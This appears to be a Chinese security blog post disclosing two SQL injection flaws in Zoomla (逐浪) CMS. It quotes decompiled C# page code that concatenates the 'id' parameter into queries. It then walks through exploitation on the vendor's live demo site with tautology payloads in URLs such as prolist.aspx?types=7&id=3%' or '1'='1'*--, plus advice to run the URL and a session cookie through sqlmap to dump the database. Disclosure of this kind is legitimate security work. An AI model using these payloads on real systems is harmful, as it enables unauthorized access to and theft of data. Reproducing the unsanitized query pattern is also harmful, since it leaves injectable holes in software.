逐浪CMS通用型SQL注入持续两枚

似乎逐浪开始想完全闭源了。已经准备阻止大家进行反编译了,暂时还不知道是用什么方法,以后如果研究出来的话再说吧。所以官方别再扯什么XXX源码包了,不开源不是丢人的事情,但是忽悠客户不是很好吧。

相关的类:

public class MIS_Target_planList : Page, IRequiresSessionState

public class MIS_Target_ProList : Page, IRequiresSessionState

注入点1:
[php]
public class MIS_Target_planList : Page, IRequiresSessionState

protected void Page_Load(object sender, EventArgs e)

{

this.buser.CheckIsLogin();

if (!base.IsPostBack && !string.IsNullOrEmpty(base.Request["id"]))

{

this.id = DataConverter.CLng(base.Request["id"]); //id参数第一次过滤了

this.dt = this.bll.Sel("MID =" + base.Request["id"], "ID desc"); //id参数第二次直接带入查询中了

if (this.dt != null && this.dt.Rows.Count > 0)

{

this.Repeater3.DataSource = this.dt;

this.Repeater3.DataBind();

}

}

}

[/php]
前台注册用户。

http://demo.zoomla.cn/Mis/Plan/AddPlan.aspx

添加计划

访问http://demo.zoomla.cn/mis/target/planList.aspx?id=0

可以看见计划都列出来了,把上面这个URL丢到工具里面,带上cookie即可:

注入点2:
[php]
public class MIS_Target_ProList : Page, IRequiresSessionState

protected global_asax ApplicationInstance

{

get

{

return (global_asax)this.Context.ApplicationInstance;

}

}

protected void Page_Load(object sender, EventArgs e)

{

this.buser.CheckIsLogin();

if (!base.IsPostBack && !string.IsNullOrEmpty(base.Request["types"]) && base.Request["types"].ToString() == "7" && !string.IsNullOrEmpty(base.Request["id"]))

{

this.id = DataConverter.CLng(base.Request["id"]);

this.dt = this.bll.Sel("TargetID like '%" + base.Request["id"] + "%' And IsSystem=0 ", "ID desc"); //id参数没有过滤就带入SQL查询

if (this.dt != null && this.dt.Rows.Count > 0)

{

this.Repeater3.DataSource = this.dt;

this.Repeater3.DataBind();

}

}

}

[/php]
注册前台用户并登录

http://demo.zoomla.cn/Mis/Project/Default.aspx

点击新建项目

随意新建一个项目。

打开http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3

页面空白

打开http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3%' or '%'='

所有添加的项目信息都在里面

把下面的链接还有cookie丢sqlmap就可以暴数据了

http://demo.zoomla.cn/mis/target/prolist.aspx?types=7&id=3%' or '1'='1'*--

z1

z2
z3

发表评论